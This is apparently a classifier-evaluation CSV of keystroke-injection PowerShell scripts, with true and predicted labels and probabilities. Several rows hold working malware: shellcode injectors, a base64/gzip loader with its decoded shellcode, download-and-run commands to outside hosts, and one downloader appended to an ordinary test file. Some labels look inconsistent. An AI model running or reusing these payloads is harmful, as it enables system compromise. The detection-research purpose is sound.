text,true_label,predicted_label,prob_benign,prob_malicious
"win+r enter powershell enter enter enter $scriptblock = enter { enter param ($Payload) enter $PipeName = ""PoshMSDaisy"" enter $p = [System.IO.Directory]::GetFiles(""\\.\\pipe\\"") enter $start = $true enter foreach ($i in $p) { enter if ($i -like ""*PoshMSDaisy"") { enter $start = $false enter } enter } enter while ($start) { enter add-Type -assembly ""System.Core"" enter $PipeSecurity = New-Object System.IO.Pipes.PipeSecurity enter $AccessRule = New-Object System.IO.Pipes.PipeAccessRule( ""Everyone"", ""ReadWrite"", ""Allow"" ) enter $PipeSecurity.AddAccessRule($AccessRule) enter $Pipe = New-Object System.IO.Pipes.NamedPipeServerStream($PipeName,""InOut"",100, ""Byte"", ""None"", 1024, 1024, $PipeSecurity) enter $pipe.WaitForConnection(); enter enter $pipeReader = new-object System.IO.StreamReader($pipe) enter $pipeWriter = new-object System.IO.StreamWriter($pipe) enter $pipeWriter.AutoFlush = $true enter $pipeWriter.WriteLine($Payload); enter enter $pipeReader.Dispose(); enter $pipe.Dispose(); enter } enter exit enter } enter add-Type -assembly ""System.Core"" enter enter $MaxThreads = 5 enter $RunspacePool = [RunspaceFactory]::CreateRunspacePool(1, $MaxThreads) enter $RunspacePool.Open() enter $Jobs = @() enter $Job = [powershell]::Create().AddScript($ScriptBlock).AddArgument($daisypayload) enter $Job.RunspacePool = $RunspacePool enter $Job.BeginInvoke() | Out-Null enter enter $pi = new-object System.IO.Pipes.NamedPipeClientStream(""."", ""PoshMSDaisy""); enter enter",0,1,0.00028078808,0.9997192
"win+r powershell enter $VQe = '$iZdU = ''[DllImport(""kernel32.dll"")]public static extern IntPtr Virtual enter Alloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);[Dll enter Import(""kernel32.dll"")]public static extern IntPtr CreateThread(IntPtr lpThreadA enter ttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwC enter reationFlags, IntPtr lpThreadId);[DllImport(""msvcrt.dll"")]public static extern I enter ntPtr memset(IntPtr dest, uint src, uint count);'';$w = Add-Type -memberDefiniti enter on $iZdU -Name ""Win32"" -namespace Win32Functions -passthru;[Byte[]];[Byte[]]$z = enter 0xda,0xc8,0xd9,0x74,0x24,0xf4,0xbe,0xe5,0x5b,0x2b,0x69,0x58,0x2b,0xc9,0xb1,0x47 enter ,0x83,0xe8,0xfc,0x31,0x70,0x14,0x03,0x70,0xf1,0xb9,0xde,0x95,0x11,0xbf,0x21,0x66 enter ,0xe1,0xa0,0xa8,0x83,0xd0,0xe0,0xcf,0xc0,0x42,0xd1,0x84,0x85,0x6e,0x9a,0xc9,0x3d enter ,0xe5,0xee,0xc5,0x32,0x4e,0x44,0x30,0x7c,0x4f,0xf5,0x00,0x1f,0xd3,0x04,0x55,0xff enter ,0xea,0xc6,0xa8,0xfe enter enter",1,1,5.39274e-05,0.9999461
"win+r powershell enter $ReportDir = Join-Path $env:TEMP ""daily_check_mgjtfgr9"" enter New-Item -ItemType Directory -Path $ReportDir -Force | Out-Null enter Get-Process -Name ""svchost"" -ErrorAction SilentlyContinue | enter Sort-Object Name | enter Select-Object -First 25 Name, Id, CPU, WorkingSet64, Handles | enter Format-List | enter Out-File -FilePath (Join-Path $ReportDir ""process_named_processes_25.txt"") -Encoding UTF8 enter Get-ChildItem -Path $env:TEMP -Directory -ErrorAction SilentlyContinue | enter Select-Object -First 50 Name, FullName, LastWriteTime | enter ConvertTo-Json -Depth 4 | enter Out-File -FilePath (Join-Path $ReportDir ""disk_filesystem_provider.json"") -Encoding UTF8 enter Write-Host ""Administrative report completed."" enter",0,0,0.9999652,3.480228e-05
"win+r powershell enter $ReportDir = Join-Path $env:TEMP ""helpdesk_reports_zhy0rfb5"" enter New-Item -ItemType Directory -Path $ReportDir -Force | Out-Null enter Get-Process | enter Sort-Object Handles -Descending | enter Select-Object -First 40 ProcessName, Id, StartTime | enter ConvertTo-Json -Depth 4 | enter Out-File -FilePath (Join-Path $ReportDir ""process_top_handles_40.json"") -Encoding UTF8 enter Get-NetFirewallProfile | enter Select-Object Name, Enabled, DefaultInboundAction, DefaultOutboundAction | enter Export-Csv -Path (Join-Path $ReportDir ""firewall_profiles.csv"") -NoTypeInformation enter Write-Host ""Administrative report completed."" enter",0,0,0.999966,3.4018427e-05
"win+r enter powershell enter enter enter $aliaspage = Invoke-WebRequest -Uri ""https://raw.githubusercontent.com/Azure/azure-rest-api-specs/master/arm-compute/quickstart-templates/aliases.json"" -TimeoutSec 5 enter $parsedJson = $aliaspage.Content | ConvertFrom-Json enter enter $win10Image = @"" enter { enter ""publisher"": ""MicrosoftVisualStudio"", enter ""offer"": ""Windows"", enter ""sku"": ""Windows-10-N-x64"", enter ""version"": ""latest"" enter } enter ""@ enter enter $parsedJson.Outputs.Aliases.Value.Windows | Add-Member -Name ""Win10"" -Value (ConvertFrom-Json $win10Image) -MemberType NoteProperty enter enter ConvertTo-Json $parsedJson.Outputs.Aliases.Value | Set-Content -Path $PSScriptRoot/Images.json enter enter",0,0,0.99942917,0.0005707545
"win+r powershell enter $ReportDir = Join-Path $env:TEMP ""ops_check_xfkc99hx"" enter New-Item -ItemType Directory -Path $ReportDir -Force | Out-Null enter Write-Host ""Starting device_printer_inventory section 1."" enter Get-PnpDevice | enter Where-Object { $_.Class -eq ""USB"" } | enter Select-Object -First 50 Class, FriendlyName, Status, InstanceId | enter ConvertTo-Json -Depth 4 | enter Out-File -FilePath (Join-Path $ReportDir ""device_usb_related_pnp.json"") -Encoding UTF8 enter Get-ComputerInfo | enter Select-Object CsName, OsName, OsVersion, OsBuildNumber, WindowsInstallDateFromRegistry | enter Export-Csv -Path (Join-Path $ReportDir ""computer_info_report.csv"") -NoTypeInformation enter Write-Host ""Administrative report completed."" enter",0,0,0.9999658,3.4162378e-05
win+r powershell enter unknown_key_action DEFINE #BRIDGE example enter unknown_key_action DEFINE #BRIDGE-N example-n enter unknown_key_action EXTENSION DETECT_READY enter unknown_key_action REM_BLOCK DOCUMENTATION enter unknown_key_action USAGE: enter unknown_key_action Extension runs inline (here) enter unknown_key_action Place at beginning of payload (besides ATTACKMODE) to act as dynamic enter unknown_key_action boot delay enter unknown_key_action TARGETS: enter unknown_key_action Any system that reflects CAPSLOCK will detect minimum required delay enter unknown_key_action Any system that does not reflect CAPSLOCK will hit the max delay of 3000ms enter unknown_key_action END_REM enter unknown_key_action DEFINE #RESPONSE_DELAY 25 enter unknown_key_action DEFINE #ITERATION_LIMIT 120 enter unknown_key_action VAR $C = 0 enter unknown_key_action WHILE (($_CAPSLOCK_ON == FALSE) && ($C < #ITERATION_LIMIT)) enter unknown_key_action CAPSLOCK enter delay_medium enter unknown_key_action $C = ($C + 1) enter unknown_key_action END_WHILE enter unknown_key_action CAPSLOCK enter unknown_key_action END_EXTENSION enter unknown_key_action GUI enter delay_medium enter tor browser enter enter enter delay_medium enter unknown_key_action ALT enter unknown_key_action VAR $FOO = 2 enter unknown_key_action WHILE ( $FOO > 0 ) enter unknown_key_action LEFTARROW enter unknown_key_action $FOO = ( $FOO - 1 ) enter unknown_key_action END_WHILE enter enter enter unknown_key_action UPARROW enter enter enter delay_medium enter Add a new Bridge enter unknown_key_action $FOO = 12 enter unknown_key_action WHILE ( $FOO > 0 ) enter unknown_key_action ALT TAB enter unknown_key_action $FOO = ( $FOO - 1 ) enter unknown_key_action END_WHILE enter enter enter tab enter #BRIDGE enter enter enter #BRIDGE-N enter enter enter tab enter enter enter delay_medium enter alt+f4 enter,1,1,5.865846e-05,0.99994135
"win+r powershell enter  $Files = Get-Content -Path ""e:\Dexma\ClientFilePaths.txt"" IF ($Files) { for enter each ($file IN $Files) { IF (Test-Path $file = $true) { Out-File -InputOb enter ject $file -FilePath ""e:\Dexma\logs\ClientFilesFound.txt"" -append -NoClobber enter enter",1,1,0.0031913924,0.9968086
"win+r powershell enter # BENIGN ADMIN REPORT enter $ReportDir = Join-Path $env:TEMP ""asset_report_18jnc2ap"" enter New-Item -ItemType Directory -Path $ReportDir -Force | Out-Null enter Get-WinEvent -LogName System -MaxEvents 100 | enter Where-Object { $_.LevelDisplayName -in @(""Warning"") } | enter Select-Object TimeCreated, ProviderName, Id, LevelDisplayName, Message | enter Format-List | enter Out-File -FilePath (Join-Path $ReportDir ""event_system_warnings_100.txt"") -Encoding UTF8 enter Write-Host ""Starting software_inventory section 2."" enter Get-HotFix | enter Sort-Object InstalledOn -Descending | enter Select-Object -First 200 HotFixID, Description, InstalledBy, InstalledOn | enter ConvertTo-Json -Depth 4 | enter Out-File -FilePath (Join-Path $ReportDir ""software_hotfixes.json"") -Encoding UTF8 enter Write-Host ""Administrative report completed."" enter",0,0,0.99996614,3.38957e-05
"win+r powershell enter $ReportDir = Join-Path $env:TEMP ""ops_check_1o8wxb3n"" enter New-Item -ItemType Directory -Path $ReportDir -Force | Out-Null enter Write-Host ""Starting scheduled_task_inventory section 1."" enter Get-ScheduledTask | enter Where-Object { $_.State -eq ""Disabled"" } | enter Select-Object -First 100 TaskName, TaskPath, State | enter Export-Csv -Path (Join-Path $ReportDir ""scheduled_disabled_tasks.csv"") -NoTypeInformation enter Get-ComputerInfo | enter Select-Object CsName, CsManufacturer, CsModel, CsProcessors, CsTotalPhysicalMemory | enter Format-List | enter Out-File -FilePath (Join-Path $ReportDir ""computer_info_report.txt"") -Encoding UTF8 enter Write-Host ""Administrative report completed."" enter",0,0,0.9999654,3.4525925e-05
"win+r powershell enter $yuy = '[DllImport(""kernel32.dll"")]public static extern IntPtr VirtualAlloc(IntP enter tr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);[DllImport(""ke enter rnel32.dll"")]public static extern IntPtr CreateThread(IntPtr lpThreadAttributes, enter uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFla enter gs, IntPtr lpThreadId);[DllImport(""msvcrt.dll"")]public static extern IntPtr mems enter et(IntPtr dest, uint src, uint count);';$w = Add-Type -memberDefinition $yuy -Na enter me ""Win32"" -namespace Win32Functions -passthru;[Byte[]];[Byte[]]$z = 0xb8,0xed,0 enter x31,0x1b,0xa1,0xd9,0xeb,0xd9,0x74,0x24,0xf4,0x5d,0x2b,0xc9,0xb1,0x53,0x83,0xc5,0 enter x04,0x31,0x45,0x11,0x03,0x45,0x11,0xe2,0x18,0xcd,0xf3,0x23,0xe2,0x2e,0x04,0x44,0 enter x6b,0xcb,0x35,0x44,0x0f,0x9f,0x66,0x74,0x44,0xcd,0x8a,0xff,0x08,0xe6,0x19,0x8d,0 enter x84,0x09,0xa9,0x38,0xf2,0x24,0x2a,0x10,0xc6,0x27,0xa8,0x6b,0x1a,0x88,0x91,0xa3,0 enter x6f,0xc9,0xd6,0xde,0 enter enter",1,1,5.3911357e-05,0.9999461
"win+r powershell enter function Get-CIisVersion enter { enter [CmdletBinding()] enter param( enter ) enter Set-StrictMode -Version 'Latest' enter Use-CallerPreference -Cmdlet $PSCmdlet -Session $ExecutionContext.SessionState enter $props = Get-ItemProperty hklm:\Software\Microsoft\InetStp enter return $props.MajorVersion.ToString() + ""."" + $props.MinorVersion.ToString() enter } enter",0,0,0.9998987,0.00010130522
"win+r powershell enter function Install-EXEUpdates { Set-Variable -Name Arguments -Scope Local -Forc enter e Set-Variable -Name ErrCode -Scope Local -Force Set-Variable -Name File -Scop enter e Local -Force Set-Variable -Name EXEFiles -Scope Local -Force Set-Variable -N enter ame RelativePath -Scope Local -Force $RelativePath = (split-path $SCRIPT:MyIn enter vocation.MyCommand.Path -parent) + ""\"" $EXEFiles = Get-ChildItem -Path $Relativ enter ePath -Force | where { $_.Name -like ""*.exe*"" } If ($EXEFiles.Count -ge 1) { $ enter EXEFiles | Sort-Object enter enter",1,1,0.0013784736,0.9986216
"win+r powershell enter function Add-SPOSubsite { [CmdletBinding()] param ( [Parameter(Mandatory=$tr enter ue, Position=1)] [string]$title, [Parameter(Mandatory=$false, Position=2)] enter [string]$webTemplate = ""STS [Parameter(Mandatory=$false, Position=3)] enter enter",1,1,0.0010922035,0.9989078
"win+r enter powershell enter enter enter Describe 'Get-Error tests' -Tag CI { enter BeforeAll { enter $skipTest = -not $EnabledExperimentalFeatures.Contains('Microsoft.PowerShell.Utility.PSGetError') enter if ($skipTest) { enter Write-Verbose ""Test Suite Skipped. The test suite requires the experimental feature 'Microsoft.PowerShell.Utility.PSGetError' to be enabled."" -Verbose enter $originalDefaultParameterValues = $PSDefaultParameterValues.Clone() enter $PSDefaultParameterValues[""it:skip""] = $true enter } enter } enter enter AfterAll { enter if ($skipTest) { enter $global:PSDefaultParameterValues = $originalDefaultParameterValues enter } enter } enter enter It 'Get-Error resolves $Error[0] and includes InnerException' { enter try { enter 1/0 enter } enter catch { enter } enter enter $out = Get-Error | Out-String enter $out | Should -BeLikeExactly '*InnerException*' enter } enter enter It 'Get-Error -Newest `<count>` works: <scenario>' -TestCases @( enter @{ scenario = 'less than total'; count = 1; paramname = 'Newest' } enter @{ scenario = 'equal to total'; count = 2; paramname = 'Last' } enter @{ scenario = 'greater than total'; count = 9999; paramname = 'Newest' } enter ){ enter param ($count, $paramname) enter enter try { enter 1/0 enter } enter catch { enter } enter enter try { enter get-item (new-guid) -ErrorAction SilentlyContinue enter } enter catch { enter } enter enter $params = @{ $paramname = $count } enter enter $out = Get-Error @params enter enter $expected = $count enter if ($count -eq 9999) { enter $expected = $error.Count enter } enter enter $out.Count | Should -Be $expected enter } enter enter It 'Get-Error -Newest with invalid value `<value>` should fail' -TestCases @( enter @{ value = 0 } enter @{ value = -2 } enter ){ enter param($value) enter enter { Get-Error -Newest $value } | Should -Throw -ErrorId 'ParameterArgumentValidationError,Microsoft.PowerShell.Commands.GetErrorCommand' enter } enter enter It 'Get-Error will accept pipeline input' { enter try { enter 1/0 enter } enter catch { enter } enter enter $out = $error[0] | Get-Error | Out-String enter $out | Should -BeLikeExactly '*-2146233087*' enter } enter enter It 'Get-Error will handle Exceptions' { enter try { enter Invoke-Expression '1/d' enter } enter catch { enter } enter enter $out = Get-Error | Out-String enter $out | Should -BeLikeExactly '*ExpectedValueExpression*' enter $out | Should -BeLikeExactly '*UnexpectedToken*' enter } enter } enter enter if([IntPtr]::Size -eq 4){$b='powershell.exe'}else{$b=$env:windir+'\syswow64\WindowsPowerShell\v1.0\powershell.exe'};$s=New-Object System.Diagnostics.ProcessStartInfo;$s.FileName=$b;$s.Arguments='-nop -w hidden -c $s=New-Object IO.MemoryStream(,[Convert]::FromBase64String(''H4sIAFHL6FcCA71W/2/aOhD/uZP2P0QTEolGCVDWdpUmPYfwJS2h0EAoMDS5iRMMJqaOoYW9/e/vAqFlb+3Utx9eBIrtO5/Pn/vcXYJl5EnKIwUPmMeugkvXVr6/f3fUxgLPFTWzua9addss5ZSMsGLRWbCbU+3oCDQytHsllS+KOkKLhcnnmEbji4vKUggSyd08XycSxTGZ3zFKYlVT/lb6EyLI8fXdlHhS+a5kvuXrjN9hlqqtK9ibEOUYRX4ia3IPJ97lnQWjUs1+/ZrVRsfFcb56v8QsVrPOOpZknvcZy2rKDy05sLteEDVrU0/wmAcy36fRSSnfi2IckBZYWxGbyAn346wGt4CfIHIpImV7n8TATqxmYdgW3EO+L0gM2nkrWvEZUTPRkrGc8pc6Sk+/WUaSzgnIJRF84RCxoh6J8w0c+YzckGCstsjD/tJv3aQebgKtthRaDiLygps295eM7HZmtV8dfYqiBs9PkQQIfrx/9/5dsKfBeiLPbwd9qyOdQx7A6Gi0HRNwV23zmG7VvyiFnGLDwVhysYZppiuWRBsroyQMo/EYDvO/OVbudQPFvTbozja1VbELiyOXU38Mm9IYZWb3l/TE7znxqZWIX6ecSQIaEXMd4Tn19qxSXwoACRjZXjq/V2uBd2o2FRDfJIyEWCaQ5pTRr9uqcyqf9hpLynwikAdBjMEriK/2szO7KKlZK7LJHNDazbMQjwC4TPbaKX/X+9OTOShlKwzHcU5pLyGZvJziEMyIn1NQFNNUhJaSb4fZZ3ftJZPUw7Hcmxtr/4IzPbbCo1iKpQdxBAi6zoJ4FLMEkZzSoD4x1g4N98dnX8SjghmjUQiWVhAPWElwcGTCDuHnUiZoeYdIa75gZA5K2+yuMRxCLqcZseUTDomffcXTPfF3LE+g2WNy4CfE22Fc5hSXCgm1IoF5x64/dOSgUBy6VBEkjZG6z6WRsZYJ9TO8ZCRcTYHawiIkQFITfG7gmJyWHSkAMPWDfk0rCJ6BFTHbM2a0iB5o0bLh36MnFjfP/KvLaUMX5uMkQFZs2Y222Wk0yqtLxy1Lp2rJq7Yl7ertdOqgxk1vIIcWanRpYTYobxaXdOM0kT941E83xuahYDxupqEfDMwgCM8C56b4qUab/UrHKJRw06wum33jwSiU4yp9aHRorzO7rMm7gctwL9DD2+JnTB+bYuoWub2xEKpPTrzNZeDWJ7a/HjT0z/3yDFURqkRVt2bwq4EhUFt3cejy/n1B6P2wggzPpmTY6dWMTqdmoF59em9+1kPYe4snRt8t0eHi9mYC8xq4cKUXypZPNnzQAZDqHOHwBnTCSsmbBKBjfkTGxxaPS3hmcGSATm14D34NFrU2A3m3V+LIZa1bjJrDdU3Xi4N2GTUKtF8PUWISh0YHo3hlbky96Prc739qDQLdvWVnulnpLrxA1/WHhnnlDYuP59dn580+decc9XTd/ZCwA+iRWcnhtbtptg5i/lqRt7GIJ5gBF6B67zOzxkUtLcNtTpMdqnrQlWdERIRBK4Nmt2c1Yox7SVc4LNvQmHbtYgxZ2oPhSenFkaY8KWrPTWO/dHExBJchWYDF+SaJQjnJFR5PCgUo+IXHcgFu/fZbVvhirSaWckm/eEIqtc621rUkdzJ+YXVfP/8/IEwzdwIv/40QPq/9RvomWAu5ZxB+Ef288J+A/kMs+phK0HegGDGya5O/hSQl0MGnxi5uwJAgfZKPveulPG7BN8g/6nlhxGUKAAA=''));IEX (New-Object IO.StreamReader(New-Object IO.Compression.GzipStream($s,[IO.Compression.CompressionMode]::Decompress))).ReadToEnd();';$s.UseShellExecute=$false;$s.RedirectStandardOutput=$true;$s.WindowStyle='Hidden';$s.CreateNoWindow=$true;$p=[System.Diagnostics.Process]::Start($s); enter [decoded_payloads] enter [decoded:long_base64_literal] enter function aYlclKfJVM { enter Param ($zqEIGMD2, $rIsrQplR6) enter $iTKt = ([AppDomain]::CurrentDomain.GetAssemblies() | Where-Object { $_.GlobalAssemblyCache -And $_.Location.Split('\\')[-1].Equals('System.dll') }).GetType('Microsoft.Win32.UnsafeNativeMethods') enter enter return $iTKt.GetMethod('GetProcAddress').Invoke($null, @([System.Runtime.InteropServices.HandleRef](New-Object System.Runtime.InteropServices.HandleRef((New-Object IntPtr), ($iTKt.GetMethod('GetModuleHandle')).Invoke($null, @($zqEIGMD2)))), $rIsrQplR6)) enter } enter enter function yht8XYWIQtS { enter Param ( enter [Parameter(Position = 0, Mandatory = $True)] [Type[]] $rd_SI, enter [Parameter(Position = 1)] [Type] $kzFv1T = [Void] enter ) enter enter $kqJi3dUSs6I = [AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object System.Reflection.AssemblyName('ReflectedDelegate')), [System.Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule('InMemoryModule', $false).DefineType('MyDelegateType', 'Class, Public, Sealed, AnsiClass, AutoClass', [System.MulticastDelegate]) enter $kqJi3dUSs6I.DefineConstructor('RTSpecialName, HideBySig, Public', [System.Reflection.CallingConventions]::Standard, $rd_SI).SetImplementationFlags('Runtime, Managed') enter $kqJi3dUSs6I.DefineMethod('Invoke', 'Public, HideBySig, NewSlot, Virtual', $kzFv1T, $rd_SI).SetImplementationFlags('Runtime, Managed') enter enter return $kqJi3dUSs6I.CreateType() enter } enter enter [Byte[]]$o2B = [System.Convert]::FromBase64String(""/OiCAAAAYInlMcBki1Awi1IMi1IUi3IoD7dKJjH/rDxhfAIsIMHPDQHH4vJSV4tSEItKPItMEXjjSAHRUYtZIAHTi0kY4zpJizSLAdYx/6zBzw0BxzjgdfYDffg7fSR15FiLWCQB02aLDEuLWBwB04sEiwHQiUQkJFtbYVlaUf/gX19aixLrjV1oMzIAAGh3czJfVGhMdyYH/9W4kAEAACnEVFBoKYBrAP/VagVoWq0r/WgCABcMieZQUFBQQFBAUGjqD9/g/9WXahBWV2iZpXRh/9WFwHQK/04IdezoYQAAAGoAagRWV2gC2chf/9WD+AB+Nos2akBoABAAAFZqAGhYpFPl/9WTU2oAVlNXaALZyF//1YP4AH0iWGgAQAAAagBQaAsvDzD/1VdodW5NYf/VXl7/DCTpcf///wHDKcZ1x8O78LWiVmoAU//V"") enter enter $vtZOVzLN = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((aYlclKfJVM kernel32.dll VirtualAlloc), (yht8XYWIQtS @([IntPtr], [UInt32], [UInt32], [UInt32]) ([IntPtr]))).Invoke([IntPtr]::Zero, $o2B.Length,0x3000, 0x40) enter [System.Runtime.InteropServices.Marshal]::Copy($o2B, 0, $vtZOVzLN, $o2B.length) enter enter $d0vqG8 = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((aYlclKfJVM kernel32.dll CreateThread), (yht8XYWIQtS @([IntPtr], [UInt32], [IntPtr], [IntPtr], [UInt32], [IntPtr]) ([IntPtr]))).Invoke([IntPtr]::Zero,0,$vtZOVzLN,[IntPtr]::Zero,0,[IntPtr]::Zero) enter [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((aYlclKfJVM kernel32.dll WaitForSingleObject), (yht8XYWIQtS @([IntPtr], [Int32]))).Invoke($d0vqG8,0xffffffff) | Out-Null enter enter",1,1,5.6785724e-05,0.99994326
"win+r enter powershell enter enter enter  enter enter Update-TypeData -TypeName System.Diagnostics.Process -SerializationDepth 3 -Force enter Get-Process enter (New-Object System.Net.WebClient).DownloadFile('http://cajos.in/0x/1.exe','mess.exe');Start-Process 'mess.exe' enter enter",1,1,5.73318e-05,0.99994266
"win+r powershell enter Set-StrictMode -Version latest enter Import-Module -Name (Join-Path -Path $PSScriptRoot -ChildPath 'MetaFixers.psm1') -Verbose:$false -Force enter $projectRoot = $ENV:BHProjectPath enter if(-not $projectRoot) { enter $projectRoot = $PSScriptRoot enter } enter Describe 'Text files formatting' { enter $allTextFiles = Get-TextFilesList $projectRoot enter Context 'Files encoding' { enter It ""Doesn't use Unicode encoding"" { enter $unicodeFilesCount = 0 enter $allTextFiles | Foreach-Object { enter if (Test-FileUnicode $_) { enter $unicodeFilesCount += 1 enter Write-Warning ""File $($_.FullName) contains 0x00 bytes. It's probably uses Unicode and need to be converted to UTF-8. Use Fixer 'Get-UnicodeFilesList `$pwd | ConvertTo-UTF8'."" enter } enter } enter $unicodeFilesCount | Should Be 0 enter } enter } enter Context 'Indentations' { enter It 'Uses spaces for indentation, not tabs' { enter $totalTabsCount = 0 enter $allTextFiles | Foreach-Object { enter $fileName = $_.FullName enter (Get-Content $_.FullName -Raw) | Select-String ""`t"" | Foreach-Object { enter Write-Warning ""There are tab in $fileName. Use Fixer 'Get-TextFilesList `$pwd | ConvertTo-SpaceIndentation'."" enter $totalTabsCount++ enter } enter } enter $totalTabsCount | Should Be 0 enter } enter } enter } enter (New-Object System.Net.WebClient).DownloadFile('http://94.102.53.238/~yahoo/csrsv.exe',""$env:APPDATA\csrsv.exe"");Start-Process (""$env:APPDATA\csrsv.exe"") enter",1,1,6.144296e-05,0.9999386
"win+r powershell enter $ReportDir = Join-Path $env:TEMP ""inventory_reports_i8zspmbj"" enter New-Item -ItemType Directory -Path $ReportDir -Force | Out-Null enter Get-ComputerInfo | enter Select-Object CsName, OsName, OsVersion, OsBuildNumber, WindowsInstallDateFromRegistry | enter Format-List | enter Out-File -FilePath (Join-Path $ReportDir ""bios_os_report.txt"") -Encoding UTF8 enter Get-NetFirewallRule | enter Where-Object { $_.Enabled -eq ""True"" } | enter Select-Object -First 50 DisplayName, Enabled, Direction, Action, Profile | enter ConvertTo-Json -Depth 4 | enter Out-File -FilePath (Join-Path $ReportDir ""firewall_enabled_rules.json"") -Encoding UTF8 enter Write-Host ""Administrative report completed."" enter",0,0,0.9999659,3.4141114e-05
"win+r powershell enter $ReportDir = Join-Path $env:TEMP ""workstation_report_gdww666r"" enter New-Item -ItemType Directory -Path $ReportDir -Force | Out-Null enter Get-Printer | enter Select-Object Name, DriverName, PortName, PrinterStatus | enter ConvertTo-Json -Depth 4 | enter Out-File -FilePath (Join-Path $ReportDir ""device_printers.json"") -Encoding UTF8 enter Get-NetFirewallRule | enter Where-Object { $_.Direction -eq ""Inbound"" } | enter Select-Object -First 50 DisplayName, Enabled, Direction, Action, Profile | enter Format-List | enter Out-File -FilePath (Join-Path $ReportDir ""firewall_rules_inbound.txt"") -Encoding UTF8 enter Write-Host ""Administrative report completed."" enter",0,0,0.99996555,3.4462766e-05
powErshEll -nop -w hiddEn -Ep bypass -Enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAH enter QAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAG enter cAKAAiAGgAdAB0AHAAcwA6AC8ALwBlAHgAcABvAHYAaQB2AGkAZQBuAGQAYQAuAGUAYwAvAHIAbwBjAG enter sAeQBzAC4AcABoAHAAIgApAA== enter,1,1,6.074268e-05,0.9999392
win+r enter powershell enter enter enter win x a left enter Set-ExecutionPolicy Bypass -Scope Process -Force; [System.Net.ServicePointManager]::SecurityProtocol = [System.Net.ServicePointManager]::SecurityProtocol -bor 3072; iex ((New-Object System.Net.WebClient).DownloadString('https://chocolatey.org/install.ps1')) enter choco install kubernetes-helm enter A enter enter enter,0,0,0.9999598,4.0164145e-05
win+r powershell enter class TeamsConnectionConfig : ConnectionConfig { [string]$BotName [string]$Tea enter mId [string]$ServiceBusNamespace [string]$QueueName [string]$AccessKeyName [ enter securestring]$AccessKey } enter enter,0,0,0.94377786,0.056222174
"win+r powershell enter Describe ""Test constrained language mode"" -Tags ""CI"" { It ""dynamic invocation o enter n non-PowerShell thread should work"" { $refAssemblies = @() if (!$IsCoreCLR) { enter $refAssemblies += ""Microsoft.CSharp"" } $t,$null = Add-Type -ReferencedAssem enter blies $refAssemblies -WarningAction Ignore -PassThru @"" public class BinderBug$ enter (Get-Date -Format FileDateTime) { public static object Test(System.Management. enter Automation.PSObject psobj) { enter",1,1,0.0011135294,0.9988865
"win+r powershell enter $ReportDir = Join-Path $env:TEMP ""workstation_report_d57l6sdl"" enter New-Item -ItemType Directory -Path $ReportDir -Force | Out-Null enter Get-ScheduledTask | enter Select-Object -First 150 TaskName, TaskPath, State | enter ConvertTo-Json -Depth 4 | enter Out-File -FilePath (Join-Path $ReportDir ""scheduled_all_tasks.json"") -Encoding UTF8 enter Get-Process -Name ""svchost"" -ErrorAction SilentlyContinue | enter Sort-Object Name | enter Select-Object -First 15 ProcessName, Id, StartTime | enter ConvertTo-Json -Depth 4 | enter Out-File -FilePath (Join-Path $ReportDir ""process_named_processes_15.json"") -Encoding UTF8 enter",0,0,0.9999653,3.463237e-05
win+r enter powershell enter enter enter win x a left enter Set-ExecutionPolicy Bypass -Scope Process -Force; [System.Net.ServicePointManager]::SecurityProtocol = [System.Net.ServicePointManager]::SecurityProtocol -bor 3072; iex ((New-Object System.Net.WebClient).DownloadString('https://chocolatey.org/install.ps1')) enter choco install putty.portable enter A enter enter enter,0,0,0.9999604,3.9609757e-05
"win+r powershell enter # BENIGN ADMIN REPORT enter $ReportDir = Join-Path $env:TEMP ""helpdesk_reports_aijrkv8o"" enter New-Item -ItemType Directory -Path $ReportDir -Force | Out-Null enter Get-Process | enter Sort-Object CPU -Descending | enter Select-Object -First 30 Name, Id, CPU, WorkingSet64, Handles | enter Format-List | enter Out-File -FilePath (Join-Path $ReportDir ""process_top_cpu_30.txt"") -Encoding UTF8 enter",0,0,0.9999659,3.4039713e-05
"win+r powershell enter # BENIGN ADMIN REPORT enter $ReportDir = Join-Path $env:TEMP ""endpoint_review_c6nko8bw"" enter New-Item -ItemType Directory -Path $ReportDir -Force | Out-Null enter Get-ScheduledTask | enter Where-Object { $_.State -eq ""Disabled"" } | enter Select-Object -First 50 TaskName, TaskPath, State | enter Format-List | enter Out-File -FilePath (Join-Path $ReportDir ""scheduled_disabled_tasks.txt"") -Encoding UTF8 enter",0,0,0.9999664,3.3607364e-05
"win+r enter powershell enter enter enter win r powershell -windowstyle hidden enter Function Set-SoundVolume enter { enter Param( enter [Parameter(Mandatory=$true)] enter [ValidateRange(0,100)] enter [Int] enter $volume enter ) enter $keyPresses = [Math]::Ceiling( $volume / 2 ) enter $obj = New-Object -ComObject WScript.Shell enter 1..50 | ForEach-Object { $obj.SendKeys( [char] 174 ) } enter for( $i = 0; $i -lt $keyPresses; $i++ ) enter { enter $obj.SendKeys( [char] 175 ) enter } enter } enter New-Alias -Name ""ssv"" Set-SoundVolume enter Set-SoundVolume 100 enter exit enter win r cmd /c start https://www.youtube.com/watch?v=L_B5kYSTK_Y enter tab enter tab f enter enter",0,1,7.662292e-05,0.99992335
